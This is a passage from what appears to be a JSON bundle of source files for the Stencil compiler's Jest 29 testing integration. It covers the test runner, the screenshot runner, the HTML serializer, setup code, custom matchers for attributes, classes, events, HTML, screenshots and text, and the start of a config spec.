env.__STENCIL_EMULATE_CONFIGS__) {\n        // we're doing e2e screenshots, so let's loop through\n        // each of the emulate configs for each test\n\n        // get the emulate configs from the process env\n        // and parse the emulate config data\n        const emulateConfigs = JSON.parse(env.__STENCIL_EMULATE_CONFIGS__) as d.EmulateConfig[];\n\n        // loop through each emulate config to re-run the tests per config\n        for (let i = 0; i < emulateConfigs.length; i++) {\n          const emulateConfig = emulateConfigs[i];\n\n          // reset the environment for each emulate config\n          setScreenshotEmulateData(emulateConfig, env);\n\n          // run the test for each emulate config\n          await super.runTests(tests, watcher, options);\n        }\n      } else {\n        // not doing e2e screenshot tests\n        // so just run each test once\n        await super.runTests(tests, watcher, options);\n      }\n    }\n  }\n\n  return StencilTestRunner;\n}\n\nexport function includeTestFile(testPath: string, env: d.E2EProcessEnv) {\n  testPath = testPath.toLowerCase().replace(/\\\\/g, '/');\n\n  const hasE2E = testPath.includes('.e2e.') || testPath.includes('/e2e.');\n  if (env.__STENCIL_E2E_TESTS__ === 'true' && hasE2E) {\n    // keep this test if it's an e2e file and we should be testing e2e\n    return true;\n  }\n\n  if (env.__STENCIL_SPEC_TESTS__ === 'true' && !hasE2E) {\n    // keep this test if it's a spec file and we should be testing unit tests\n    return true;\n  }\n  return false;\n}\n\nexport function getEmulateConfigs(testing: d.TestingConfig, flags: ConfigFlags): d.EmulateConfig[] {\n  let emulateConfigs = testing.emulate?.slice() ?? [];\n\n  if (typeof flags.emulate === 'string') {\n    const emulateFlag = flags.emulate.toLowerCase();\n\n    emulateConfigs = emulateConfigs.filter((emulateConfig) => {\n      if (typeof emulateConfig.device === 'string' && emulateConfig.device.toLowerCase() === emulateFlag) {\n        return true;\n      }\n\n      if (typeof emulateConfig.userAgent === 'string' && emulateConfig.userAgent.toLowerCase().includes(emulateFlag)) {\n        return true;\n      }\n\n      return false;\n    });\n  }\n\n  return emulateConfigs;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/jest-screenshot.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport { join } from 'path';\n\nimport { runJest } from './jest-runner';\n\nexport async function runJestScreenshot(config: d.ValidatedConfig, env: d.E2EProcessEnv) {\n  config.logger.debug(`screenshot connector: ${config.testing.screenshotConnector}`);\n\n  const ScreenshotConnector = require(config.testing.screenshotConnector!) as any;\n  const connector: d.ScreenshotConnector = new ScreenshotConnector();\n\n  // for CI, let's wait a little longer than locally before taking the screenshot\n  const pixelmatchModulePath = join(config.sys.getCompilerExecutingPath(), '..', '..', 'screenshot', 'pixel-match.js');\n  config.logger.debug(`pixelmatch module: ${pixelmatchModulePath}`);\n\n  const initTimespan = config.logger.createTimeSpan(`screenshot, initBuild started`, true);\n  await connector.initBuild({\n    buildId: createBuildId(),\n    buildMessage: createBuildMessage(),\n    buildTimestamp: Date.now(),\n    appNamespace: config.namespace,\n    rootDir: config.rootDir,\n    cacheDir: config.cacheDir,\n    packageDir: join(config.sys.getCompilerExecutingPath(), '..', '..'),\n    updateMaster: !!config.flags.updateScreenshot,\n    logger: config.logger,\n    allowableMismatchedPixels: config.testing.allowableMismatchedPixels,\n    allowableMismatchedRatio: config.testing.allowableMismatchedRatio,\n    pixelmatchThreshold: config.testing.pixelmatchThreshold,\n    waitBeforeScreenshot: config.testing.waitBeforeScreenshot,\n    pixelmatchModulePath: pixelmatchModulePath,\n  });\n\n  if (!config.flags.updateScreenshot) {\n    await connector.pullMasterBuild();\n  }\n\n  initTimespan.finish(`screenshot, initBuild finished`);\n\n  const dataPromises = await Promise.all([await connector.getMasterBuild(), await connector.getScreenshotCache()]);\n\n  const masterBuild = dataPromises[0];\n  const screenshotCache = dataPromises[1];\n\n  env.__STENCIL_SCREENSHOT_BUILD__ = connector.toJson(masterBuild, screenshotCache);\n\n  const testsTimespan = config.logger.createTimeSpan(`screenshot, tests started`, true);\n\n  const passed = await runJest(config, env);\n\n  testsTimespan.finish(`screenshot, tests finished, passed: ${passed}`);\n\n  try {\n    const completeTimespan = config.logger.createTimeSpan(`screenshot, completeTimespan started`, true);\n    let results = await connector.completeBuild(masterBuild);\n    completeTimespan.finish(`screenshot, completeTimespan finished`);\n\n    if (results) {\n      const publishTimespan = config.logger.createTimeSpan(`screenshot, publishBuild started`, true);\n      results = await connector.publishBuild(results);\n      publishTimespan.finish(`screenshot, publishBuild finished`);\n\n      if (config.flags.updateScreenshot) {\n        // updating the master screenshot\n        if (results.currentBuild && typeof results.currentBuild.previewUrl === 'string') {\n          config.logger.info(config.logger.magenta(results.currentBuild.previewUrl));\n        }\n      } else {\n        // comparing the screenshot to master\n        if (results.compare) {\n          try {\n            await connector.updateScreenshotCache(screenshotCache, results);\n          } catch (e) {\n            config.logger.error(e);\n          }\n\n          config.logger.info(`screenshots compared: ${results.compare.diffs.length}`);\n\n          if (typeof results.compare.url === 'string') {\n            config.logger.info(config.logger.magenta(results.compare.url));\n          }\n        }\n      }\n    }\n  } catch (e) {\n    if (e instanceof Error) {\n      config.logger.error(e, e.stack);\n    } else {\n      config.logger.error(e);\n    }\n  }\n\n  return passed;\n}\n\nfunction createBuildId() {\n  const d = new Date();\n\n  let fmDt = d.getFullYear() + '';\n  fmDt += ('0' + (d.getMonth() + 1)).slice(-2);\n  fmDt += ('0' + d.getDate()).slice(-2);\n  fmDt += ('0' + d.getHours()).slice(-2);\n  fmDt += ('0' + d.getMinutes()).slice(-2);\n  fmDt += ('0' + d.getSeconds()).slice(-2);\n\n  return fmDt;\n}\n\nfunction createBuildMessage() {\n  const d = new Date();\n\n  let fmDt = d.getFullYear() + '' + '-';\n  fmDt += ('0' + (d.getMonth() + 1)).slice(-2) + '-';\n  fmDt += ('0' + d.getDate()).slice(-2) + ' ';\n  fmDt += ('0' + d.getHours()).slice(-2) + ':';\n  fmDt += ('0' + d.getMinutes()).slice(-2) + ':';\n  fmDt += ('0' + d.getSeconds()).slice(-2);\n\n  return `Build: ${fmDt}`;\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/jest-serializer.ts",
    "content": "import { MockNode, serializeNodeToHtml } from '@stencil/core/mock-doc';\n\nconst print = (val: unknown): string => {\n  // we coerce here because Jest wants `val` to be unknown\n  return serializeNodeToHtml(val as MockNode | Node, {\n    serializeShadowRoot: true,\n    prettyHtml: true,\n    outerHtml: true,\n  });\n};\n\nconst test = (val: any): boolean => {\n  return val !== undefined && val !== null && (val instanceof HTMLElement || val instanceof MockNode);\n};\n\nexport const HtmlSerializer = {\n  print,\n  test,\n};\n"
  },
  {
    "path": "src/testing/jest/jest-29/jest-setup-test-framework.ts",
    "content": "import { BUILD, Env } from '@app-data';\nimport type * as d from '@stencil/core/internal';\nimport { E2EProcessEnv } from '@stencil/core/internal';\nimport {\n  modeResolutionChain,\n  resetPlatform,\n  setErrorHandler,\n  stopAutoApplyChanges,\n} from '@stencil/core/internal/testing';\nimport { MockDocument, MockNode, MockWindow, setupGlobal, teardownGlobal } from '@stencil/core/mock-doc';\n\nimport { setupMockFetch } from '../../mock-fetch';\nimport { resetBuildConditionals } from '../../reset-build-conditionals';\nimport { HtmlSerializer } from './jest-serializer';\nimport { expectExtend } from './matchers';\n\ndeclare const global: d.JestEnvironmentGlobal;\n\nexport function jestSetupTestFramework() {\n  global.resourcesUrl = '/build';\n\n  expect.extend(expectExtend);\n  expect.addSnapshotSerializer(HtmlSerializer);\n\n  setupGlobal(global);\n  setupMockFetch(global);\n\n  beforeEach(() => {\n    // reset the platform for this new test\n    resetPlatform();\n    setErrorHandler(undefined);\n    resetBuildConditionals(BUILD);\n    modeResolutionChain.length = 0;\n  });\n\n  afterEach(async () => {\n    stopAutoApplyChanges();\n\n    // Remove each node from the mocked DOM\n    // Without this step, a component's `disconnectedCallback`\n    // will not be called since this only happens when a node is removed,\n    // not if the window is destroyed.\n    //\n    // So, we do this outside the mocked window/DOM teardown\n    // because this operation is really only necessary in the testing\n    // context so any \"cleanup\" operations in the `disconnectedCallback`\n    // can happen to prevent testing errors with async code in the component\n    //\n    // We only care about removing all the nodes that are children of the 'body' tag/node.\n    // This node is a child of the `html` tag which is the 2nd child of the document (hence\n    // the `1` index).\n    const bodyNode = (\n      ((global as any).window as MockWindow)?.document as unknown as MockDocument\n    )?.childNodes?.[1]?.childNodes?.find((ref) => ref.nodeName === 'BODY');\n    bodyNode?.childNodes?.forEach(removeDomNodes);\n\n    teardownGlobal(global);\n    global.resourcesUrl = '/build';\n  });\n\n  afterAll(async () => {\n    if (global.__CLOSE_OPEN_PAGES__) {\n      await global.__CLOSE_OPEN_PAGES__();\n    }\n  });\n\n  global.screenshotDescriptions = new Set();\n\n  // during E2E tests, we can safely assume that the current environment is a `E2EProcessEnv`\n  const env: E2EProcessEnv = process.env as E2EProcessEnv;\n\n  if (typeof env.__STENCIL_DEFAULT_TIMEOUT__ === 'string') {\n    const time = parseInt(env.__STENCIL_DEFAULT_TIMEOUT__, 10);\n    jest.setTimeout(time * 1.5);\n  }\n  if (typeof env.__STENCIL_ENV__ === 'string') {\n    const stencilEnv = JSON.parse(env.__STENCIL_ENV__);\n    Object.assign(Env, stencilEnv);\n  }\n}\n\n/**\n * Recursively removes all child nodes of a passed node starting with the\n * furthest descendant and then moving back up the DOM tree.\n *\n * @param node The mocked DOM node that will be removed from the DOM\n */\nexport function removeDomNodes(node: MockNode | undefined | null) {\n  if (node == null) {\n    return;\n  }\n\n  if (!node.childNodes?.length) {\n    node.remove();\n  }\n\n  node.childNodes?.forEach(removeDomNodes);\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/matchers/attributes.ts",
    "content": "import { NODE_TYPES } from '@stencil/core/mock-doc';\n\nexport function toEqualAttribute(elm: HTMLElement, expectAttrName: string, expectAttrValue: string) {\n  if (!elm) {\n    throw new Error(`expect toMatchAttribute value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== NODE_TYPES.ELEMENT_NODE) {\n    throw new Error(`expect toMatchAttribute value is not an element`);\n  }\n\n  let receivedAttrValue = elm.getAttribute(expectAttrName);\n\n  if (expectAttrValue != null) {\n    expectAttrValue = String(expectAttrValue);\n  }\n\n  if (receivedAttrValue != null) {\n    receivedAttrValue = String(receivedAttrValue);\n  }\n\n  const pass = expectAttrValue === receivedAttrValue;\n\n  return {\n    message: () =>\n      `expected attribute ${expectAttrName} \"${expectAttrValue}\" to ${pass ? 'not ' : ''}equal \"${receivedAttrValue}\"`,\n    pass: pass,\n  };\n}\n\nexport function toEqualAttributes(elm: HTMLElement, expectAttrs: { [attrName: string]: any }) {\n  if (!elm) {\n    throw new Error(`expect toEqualAttributes value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== NODE_TYPES.ELEMENT_NODE) {\n    throw new Error(`expect toEqualAttributes value is not an element`);\n  }\n\n  const attrNames = Object.keys(expectAttrs);\n\n  const pass = attrNames.every((attrName) => {\n    let expectAttrValue = expectAttrs[attrName];\n    if (expectAttrValue != null) {\n      expectAttrValue = String(expectAttrValue);\n    }\n    return elm.getAttribute(attrName) === expectAttrValue;\n  });\n\n  return {\n    message: () =>\n      `expected attributes to ${pass ? 'not ' : ''}equal ${attrNames\n        .map((a) => `[${a}=\"${expectAttrs[a]}\"]`)\n        .join(', ')}`,\n    pass: pass,\n  };\n}\n\nexport function toHaveAttribute(elm: HTMLElement, expectAttrName: string) {\n  if (!elm) {\n    throw new Error(`expect toHaveAttribute value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== NODE_TYPES.ELEMENT_NODE) {\n    throw new Error(`expect toHaveAttribute value is not an element`);\n  }\n\n  const pass = elm.hasAttribute(expectAttrName);\n\n  return {\n    message: () => `expected to ${pass ? 'not ' : ''}have the attribute \"${expectAttrName}\"`,\n    pass: pass,\n  };\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/matchers/class-list.ts",
    "content": "export function toHaveClass(elm: HTMLElement, expectClassName: string) {\n  if (!elm) {\n    throw new Error(`expect toHaveClass value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== 1) {\n    throw new Error(`expect toHaveClass value is not an element`);\n  }\n\n  const pass = elm.classList.contains(expectClassName);\n\n  return {\n    message: () => `expected to ${pass ? 'not ' : ''}have css class \"${expectClassName}\"`,\n    pass: pass,\n  };\n}\n\nexport function toHaveClasses(elm: HTMLElement, expectClassNames: string[]) {\n  if (!elm) {\n    throw new Error(`expect toHaveClasses value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== 1) {\n    throw new Error(`expect toHaveClasses value is not an element`);\n  }\n\n  const pass = expectClassNames.every((expectClassName) => {\n    return elm.classList.contains(expectClassName);\n  });\n\n  return {\n    message: () =>\n      `expected to ${pass ? 'not ' : ''}have css classes \"${expectClassNames.join(' ')}\", but className is \"${\n        elm.className\n      }\"`,\n    pass: pass,\n  };\n}\n\nexport function toMatchClasses(elm: HTMLElement, expectClassNames: string[]) {\n  let { pass } = toHaveClasses(elm, expectClassNames);\n  if (pass) {\n    pass = expectClassNames.length === elm.classList.length;\n  }\n\n  return {\n    message: () =>\n      `expected to ${pass ? 'not ' : ''}match css classes \"${expectClassNames.join(' ')}\", but className is \"${\n        elm.className\n      }\"`,\n    pass: pass,\n  };\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/matchers/events.ts",
    "content": "import type * as d from '@stencil/core/internal';\n\nexport function toHaveReceivedEvent(eventSpy: d.EventSpy) {\n  if (!eventSpy) {\n    throw new Error(`toHaveReceivedEvent event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveReceivedEvent did not receive an event spy`);\n  }\n\n  const pass = eventSpy.events.length > 0;\n\n  return {\n    message: () => `expected to have ${pass ? 'not ' : ''}called \"${eventSpy.eventName}\" event`,\n    pass: pass,\n  };\n}\n\nexport function toHaveReceivedEventTimes(eventSpy: d.EventSpy, count: number) {\n  if (!eventSpy) {\n    throw new Error(`toHaveReceivedEventTimes event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveReceivedEventTimes did not receive an event spy`);\n  }\n\n  const pass = eventSpy.length === count;\n\n  return {\n    message: () =>\n      `expected event \"${eventSpy.eventName}\" to have been called ${count} times, but was called ${\n        eventSpy.events.length\n      } time${eventSpy.events.length > 1 ? 's' : ''}`,\n    pass: pass,\n  };\n}\n\nexport function toHaveReceivedEventDetail(eventSpy: d.EventSpy, eventDetail: any) {\n  if (!eventSpy) {\n    throw new Error(`toHaveReceivedEventDetail event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveReceivedEventDetail did not receive an event spy`);\n  }\n\n  if (!eventSpy.lastEvent) {\n    throw new Error(`event \"${eventSpy.eventName}\" was not received`);\n  }\n\n  const pass = deepEqual(eventSpy.lastEvent.detail, eventDetail);\n\n  expect(eventSpy.lastEvent.detail).toEqual(eventDetail);\n\n  return {\n    message: () => `expected event \"${eventSpy.eventName}\" detail to ${pass ? 'not ' : ''}equal`,\n    pass: pass,\n  };\n}\n\nexport function toHaveFirstReceivedEventDetail(eventSpy: d.EventSpy, eventDetail: any) {\n  if (!eventSpy) {\n    throw new Error(`toHaveFirstReceivedEventDetail event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveFirstReceivedEventDetail did not receive an event spy`);\n  }\n\n  if (!eventSpy.firstEvent) {\n    throw new Error(`event \"${eventSpy.eventName}\" was not received`);\n  }\n\n  const pass = deepEqual(eventSpy.firstEvent.detail, eventDetail);\n\n  expect(eventSpy.firstEvent.detail).toEqual(eventDetail);\n\n  return {\n    message: () => `expected event \"${eventSpy.eventName}\" detail to ${pass ? 'not ' : ''}equal`,\n    pass: pass,\n  };\n}\n\nexport function toHaveLastReceivedEventDetail(eventSpy: d.EventSpy, eventDetail: any) {\n  if (!eventSpy) {\n    throw new Error(`toHaveLastReceivedEventDetail event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveLastReceivedEventDetail did not receive an event spy`);\n  }\n\n  if (!eventSpy.firstEvent) {\n    throw new Error(`event \"${eventSpy.eventName}\" was not received`);\n  }\n\n  const pass = deepEqual(eventSpy.lastEvent.detail, eventDetail);\n\n  expect(eventSpy.lastEvent.detail).toEqual(eventDetail);\n\n  return {\n    message: () => `expected event \"${eventSpy.eventName}\" detail to ${pass ? 'not ' : ''}equal`,\n    pass: pass,\n  };\n}\n\nexport function toHaveNthReceivedEventDetail(eventSpy: d.EventSpy, index: number, eventDetail: any) {\n  if (!eventSpy) {\n    throw new Error(`toHaveNthReceivedEventDetail event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveNthReceivedEventDetail did not receive an event spy`);\n  }\n\n  if (!eventSpy.firstEvent) {\n    throw new Error(`event \"${eventSpy.eventName}\" was not received`);\n  }\n\n  const event = eventSpy.events[index];\n\n  if (!event) {\n    throw new Error(`event at index ${index} was not received`);\n  }\n\n  const pass = deepEqual(event.detail, eventDetail);\n\n  expect(event.detail).toEqual(eventDetail);\n\n  return {\n    message: () => `expected event \"${eventSpy.eventName}\" detail to ${pass ? 'not ' : ''}equal`,\n    pass: pass,\n  };\n}\n\n// from https://www.npmjs.com/package/fast-deep-equal\n// License in NOTICE.md\nconst deepEqual = function equal(a: any, b: any) {\n  if (a === b) return true;\n\n  if (a && b && typeof a == 'object' && typeof b == 'object') {\n    const arrA = Array.isArray(a),\n      arrB = Array.isArray(b);\n    let i, length, key;\n\n    if (arrA && arrB) {\n      length = a.length;\n      if (length != b.length) return false;\n      for (i = length; i-- !== 0; ) if (!equal(a[i], b[i])) return false;\n      return true;\n    }\n\n    if (arrA != arrB) return false;\n\n    const dateA = a instanceof Date,\n      dateB = b instanceof Date;\n    if (dateA != dateB) return false;\n    if (dateA && dateB) return a.getTime() == b.getTime();\n\n    const regexpA = a instanceof RegExp,\n      regexpB = b instanceof RegExp;\n    if (regexpA != regexpB) return false;\n    if (regexpA && regexpB) return a.toString() == b.toString();\n\n    const keys = Object.keys(a);\n    length = keys.length;\n\n    if (length !== Object.keys(b).length) return false;\n\n    for (i = length; i-- !== 0; ) if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;\n\n    for (i = length; i-- !== 0; ) {\n      key = keys[i];\n      if (!equal(a[key], b[key])) return false;\n    }\n\n    return true;\n  }\n\n  return a !== a && b !== b;\n};\n"
  },
  {
    "path": "src/testing/jest/jest-29/matchers/html.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport { NODE_TYPES, parseHtmlToFragment, serializeNodeToHtml } from '@stencil/core/mock-doc';\n\nexport function toEqualHtml(input: string | HTMLElement | ShadowRoot, shouldEqual: string) {\n  return compareHtml(input, shouldEqual, true);\n}\n\nexport function toEqualLightHtml(input: string | HTMLElement | ShadowRoot, shouldEqual: string) {\n  return compareHtml(input, shouldEqual, false);\n}\n\nexport function compareHtml(\n  input: string | HTMLElement | ShadowRoot,\n  shouldEqual: string,\n  serializeShadowRoot: d.SerializeDocumentOptions['serializeShadowRoot'],\n) {\n  if (input == null) {\n    throw new Error(`expect toEqualHtml() value is \"${input}\"`);\n  }\n\n  if (typeof (input as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  let serializeA: string;\n\n  if ((input as HTMLElement).nodeType === NODE_TYPES.ELEMENT_NODE) {\n    const options = getSpecOptions(input as any);\n    serializeA = serializeNodeToHtml(input as any, {\n      prettyHtml: true,\n      outerHtml: true,\n      removeHtmlComments: options.includeAnnotations === false,\n      excludeTags: ['body'],\n      serializeShadowRoot,\n    });\n  } else if ((input as HTMLElement).nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE) {\n    serializeA = serializeNodeToHtml(input as any, {\n      prettyHtml: true,\n      excludeTags: ['style'],\n      excludeTagContent: ['style'],\n      serializeShadowRoot,\n    });\n  } else if (typeof input === 'string') {\n    const parseA = parseHtmlToFragment(input);\n    serializeA = serializeNodeToHtml(parseA, {\n      prettyHtml: true,\n      serializeShadowRoot,\n    });\n  } else {\n    throw new Error(`expect toEqualHtml() value should be an element, shadow root or string.`);\n  }\n\n  const parseB = parseHtmlToFragment(shouldEqual);\n\n  const serializeB = serializeNodeToHtml(parseB, {\n    prettyHtml: true,\n    excludeTags: ['body'],\n  });\n\n  if (serializeA !== serializeB) {\n    expect(serializeA).toBe(serializeB);\n    return {\n      message: () => 'HTML does not match',\n      pass: false,\n    };\n  }\n\n  return {\n    message: () => 'expect HTML to match',\n    pass: true,\n  };\n}\n\nfunction getSpecOptions(el: HTMLElement): Partial<d.NewSpecPageOptions> {\n  if (el && el.ownerDocument && el.ownerDocument.defaultView) {\n    return (el.ownerDocument.defaultView as any)['__stencil_spec_options'] || {};\n  }\n\n  return {};\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/matchers/index.ts",
    "content": "import { toEqualAttribute, toEqualAttributes, toHaveAttribute } from './attributes';\nimport { toHaveClass, toHaveClasses, toMatchClasses } from './class-list';\nimport {\n  toHaveFirstReceivedEventDetail,\n  toHaveLastReceivedEventDetail,\n  toHaveNthReceivedEventDetail,\n  toHaveReceivedEvent,\n  toHaveReceivedEventDetail,\n  toHaveReceivedEventTimes,\n} from './events';\nimport { toEqualHtml, toEqualLightHtml } from './html';\nimport { toMatchScreenshot } from './screenshot';\nimport { toEqualText } from './text';\n\nexport const expectExtend = {\n  toEqualAttribute,\n  toEqualAttributes,\n  toEqualHtml,\n  toEqualLightHtml,\n  toEqualText,\n  toHaveAttribute,\n  toHaveClass,\n  toHaveClasses,\n  toMatchClasses,\n  toHaveReceivedEvent,\n  toHaveReceivedEventDetail,\n  toHaveReceivedEventTimes,\n  toHaveFirstReceivedEventDetail,\n  toHaveLastReceivedEventDetail,\n  toHaveNthReceivedEventDetail,\n  toMatchScreenshot,\n};\n"
  },
  {
    "path": "src/testing/jest/jest-29/matchers/screenshot.ts",
    "content": "import type * as d from '@stencil/core/internal';\n\nexport function toMatchScreenshot(compare: d.ScreenshotDiff, opts: d.MatchScreenshotOptions = {}) {\n  if (!compare) {\n    throw new Error(`expect toMatchScreenshot value is null`);\n  }\n\n  if (typeof (compare as any).then === 'function') {\n    throw new Error(\n      `expect(compare).toMatchScreenshot() must be a resolved value, not a promise, before it can be tested`,\n    );\n  }\n\n  if (typeof compare.mismatchedPixels !== 'number') {\n    throw new Error(\n      `expect toMatchScreenshot() value is not a valid screenshot compare object - 'mismatchedPixels' has type '${typeof compare.mismatchedPixels}', but should be a number`,\n    );\n  }\n\n  if (typeof compare.deviceScaleFactor !== 'number') {\n    throw new Error(\n      `expect toMatchScreenshot() value is not a valid screenshot compare object - 'deviceScaleFactor' has type '${typeof compare.deviceScaleFactor}', but should be a number`,\n    );\n  }\n\n  const device = compare.device || compare.userAgent;\n\n  if (typeof opts.allowableMismatchedRatio === 'number') {\n    if (opts.allowableMismatchedRatio < 0 || opts.allowableMismatchedRatio > 1) {\n      throw new Error(`expect toMatchScreenshot() allowableMismatchedRatio must be a value ranging from 0 to 1`);\n    }\n\n    const mismatchedRatio =\n      compare.mismatchedPixels /\n      (compare.width * compare.deviceScaleFactor * (compare.height * compare.deviceScaleFactor));\n    return {\n      message: () =>\n        `${device}: screenshot has a mismatch ratio of \"${mismatchedRatio}\" for \"${compare.desc}\", but expected ratio to be less than \"${opts.allowableMismatchedRatio}\"`,\n      pass: mismatchedRatio <= opts.allowableMismatchedRatio,\n    };\n  }\n\n  if (typeof opts.allowableMismatchedPixels === 'number') {\n    if (opts.allowableMismatchedPixels < 0) {\n      throw new Error(\n        `expect toMatchScreenshot() allowableMismatchedPixels value must be a value that is 0 or greater`,\n      );\n    }\n    return {\n      message: () =>\n        `${device}: screenshot has \"${compare.mismatchedPixels}\" mismatched pixels for \"${compare.desc}\", but expected less than \"${opts.allowableMismatchedPixels}\" mismatched pixels`,\n      pass: compare.mismatchedPixels <= opts.allowableMismatchedPixels,\n    };\n  }\n\n  if (typeof compare.allowableMismatchedRatio === 'number') {\n    const mismatchedRatio =\n      compare.mismatchedPixels /\n      (compare.width * compare.deviceScaleFactor * (compare.height * compare.deviceScaleFactor));\n    return {\n      message: () =>\n        `${device}: screenshot has a mismatch ratio of \"${mismatchedRatio}\" for \"${compare.desc}\", but expected ratio to be less than \"${compare.allowableMismatchedRatio}\"`,\n      pass: mismatchedRatio <= compare.allowableMismatchedRatio,\n    };\n  }\n\n  if (typeof compare.allowableMismatchedPixels === 'number') {\n    return {\n      message: () =>\n        `${device}: screenshot has \"${compare.mismatchedPixels}\" mismatched pixels for \"${compare.desc}\", but expected less than \"${compare.allowableMismatchedPixels}\" mismatched pixels`,\n      pass: compare.mismatchedPixels <= compare.allowableMismatchedPixels,\n    };\n  }\n\n  throw new Error(`expect toMatchScreenshot() missing allowableMismatchedPixels in testing config`);\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/matchers/text.ts",
    "content": "import { NODE_TYPES } from '@stencil/core/mock-doc';\n\nexport function toEqualText(input: HTMLElement | string, expectTextContent: string) {\n  if (input == null) {\n    throw new Error(`expect toEqualText() value is \"${input}\"`);\n  }\n\n  if (typeof (input as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  let textContent: string;\n\n  if ((input as HTMLElement).nodeType === NODE_TYPES.ELEMENT_NODE) {\n    textContent = ((input as HTMLElement).textContent ?? '').replace(/\\s\\s+/g, ' ').trim();\n  } else {\n    textContent = String(input).replace(/\\s\\s+/g, ' ').trim();\n  }\n\n  if (typeof expectTextContent === 'string') {\n    expectTextContent = expectTextContent.replace(/\\s\\s+/g, ' ').trim();\n  }\n\n  const pass = textContent === expectTextContent;\n\n  return {\n    message: () => `expected textContent \"${expectTextContent}\" to ${pass ? 'not ' : ''}equal \"${textContent}\"`,\n    pass: pass,\n  };\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/package.json",
    "content": "{\n  \"name\": \"@stencil/jest-29\",\n  \"version\": \"1.0.0\",\n  \"description\": \"Internal package for supporting Jest 29 with Stencil\",\n  \"license\": \"MIT\",\n  \"author\": \"Ionic Team\",\n  \"homepage\": \"https://stenciljs.com/\",\n  \"volta\": {\n    \"extends\": \"../../../../package.json\"\n  },\n  \"devDependencies\": {\n    \"@types/jest\": \"^29.5.6\",\n    \"jest\": \"^29.7.0\"\n  }\n}\n"
  },
  {
    "path": "src/testing/jest/jest-29/test/__snapshots__/jest-serializer.spec.ts.snap",
    "content": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`serialize node should serialize 1`] = `\n<body>\n  <div>\n    Test\n  </div>\n</body>\n`;\n"
  },
  {
    "path": "src/testing/jest/jest-29/test/jest-config.spec.ts",
    "content": "import type { Config } from '@jest/types';\nimport { BOOLEAN_CLI_FLAGS } from '@stencil/core/cli';\nimport type * as d from '@stencil/core/declarations';\nimport { mockValidatedConfig } from '@stencil/core/testing';\nimport path from 'path';\n\nimport { parseFlags } from '../../../../cli/parse-flags';\nimport { buildJestArgv } from '../jest-config';\n\ndescribe('jest-config', () => {\n  it('pass --maxWorkers=2 arg when --max-workers=2', () => {\n    const args = ['test', '--ci', '--max-workers=2'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci', '--max-workers=2']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(2);\n  });\n\n  // the 'help' and 'version' flags are problematic with yargs (they cause a\n  // hang) and we intercept those flags and do our own thing before turning\n  // over to jest anyway\n  const cliFlagsToTest = BOOLEAN_CLI_FLAGS.filter((flag) => flag !== 'help' && flag !== 'version');\n  describe.each(cliFlagsToTest)('should deal with flag %s correctly', (cliArg) => {\n    it('converts boolean flag to boolean', () => {\n      const args = ['test', `--${cliArg}`];\n      const config = mockValidatedConfig();\n      config.flags = parseFlags(args);\n      const jestArgv = buildJestArgv(config);\n      expect(jestArgv[cliArg]).toBe(true);\n    });\n  });\n\n  it('marks outputFile as a Jest argument', () => {\n    const args = ['test', '--ci', '--outputFile=path/to/my-file'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n    expect(config.flags.args).toEqual(['--ci', '--outputFile=path/to/my-file']);\n    expect(config.flags.unknownArgs).toEqual([]);\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.outputFile).toBe('path/to/my-file');\n  });\n\n  it('pass --maxWorkers=2 arg when e2e test and --ci', () => {\n    const args = 